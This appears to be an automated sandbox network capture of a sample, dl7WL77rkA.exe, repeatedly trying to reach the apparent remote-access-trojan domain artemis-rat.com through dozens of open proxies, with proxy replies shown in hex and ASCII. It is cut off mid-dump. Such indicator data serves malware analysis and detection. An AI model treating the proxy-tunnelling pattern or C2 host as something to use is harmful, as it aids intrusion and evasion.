20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1045	192.168.2.5	50749	188.215.245.235	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.929285049 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.092415094 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.093899965 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.093014956 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1046	192.168.2.5	52323	181.115.207.115	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.933646917 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1047	192.168.2.5	50664	148.72.206.84	30651	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.936677933 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1048	192.168.2.5	50759	208.109.14.49	37377	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.936753035 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.092639923 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.093862057 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.093007088 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1049	192.168.2.5	52748	181.12.80.21	12000	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.937097073 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1050	192.168.2.5	52843	107.180.103.214	13286	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.946494102 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.498675108 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1051	192.168.2.5	52777	51.15.242.202	8888	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.029895067 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.806175947 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.811480045 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.608525038 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1052	192.168.2.5	52784	31.200.242.201	9985	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.030690908 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1053	192.168.2.5	52752	95.164.89.123	8888	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.030693054 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.332989931 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Mar 2024 02:30:42 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1054	192.168.2.5	52765	130.162.213.175	3129	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.030757904 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.349515915 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1055	192.168.2.5	52872	23.95.209.142	15673	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.031367064 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1056	192.168.2.5	52840	198.199.86.11	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.031542063 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.412338972 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1057	192.168.2.5	52851	38.162.13.185	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.031915903 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.488413095 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1058	192.168.2.5	52764	222.255.238.159	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.032095909 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.364196062 CET	481	IN	HTTP/1.1 302 Found Date: Mon, 11 Mar 2024 02:30:42 GMT Server: Apache/2.4.41 (Ubuntu) Location: https://ktxcomay.com.vn Content-Length: 289 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6b 74 78 63 6f 6d 61 79 2e 63 6f 6d 2e 76 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://ktxcomay.com.vn">here</a>.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>
Mar 11, 2024 03:30:43.283828974 CET	481	IN	HTTP/1.1 302 Found Date: Mon, 11 Mar 2024 02:30:42 GMT Server: Apache/2.4.41 (Ubuntu) Location: https://ktxcomay.com.vn Content-Length: 289 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6b 74 78 63 6f 6d 61 79 2e 63 6f 6d 2e 76 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://ktxcomay.com.vn">here</a>.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1059	192.168.2.5	52757	178.54.21.203	8081	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.032097101 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1060	192.168.2.5	52791	91.134.140.160	32588	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.032480001 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.806293964 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.811677933 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.796539068 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.514621973 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1061	192.168.2.5	52761	5.252.23.220	1081	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.032751083 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1062	192.168.2.5	50848	159.112.141.44	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.035974979 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.108072042 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.202241898 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.311379910 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1063	192.168.2.5	52880	172.67.182.169	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.035974979 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.190325022 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:42 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1064	192.168.2.5	52820	211.222.252.187	8193	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.037698030 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1065	192.168.2.5	52882	23.227.38.198	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.037698984 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.192110062 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:42 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1066	192.168.2.5	52772	38.54.16.97	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.038161039 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1067	192.168.2.5	52378	115.146.225.137	10046	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.038892031 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1068	192.168.2.5	52774	202.139.198.15	3050	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.040937901 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:59.476854086 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 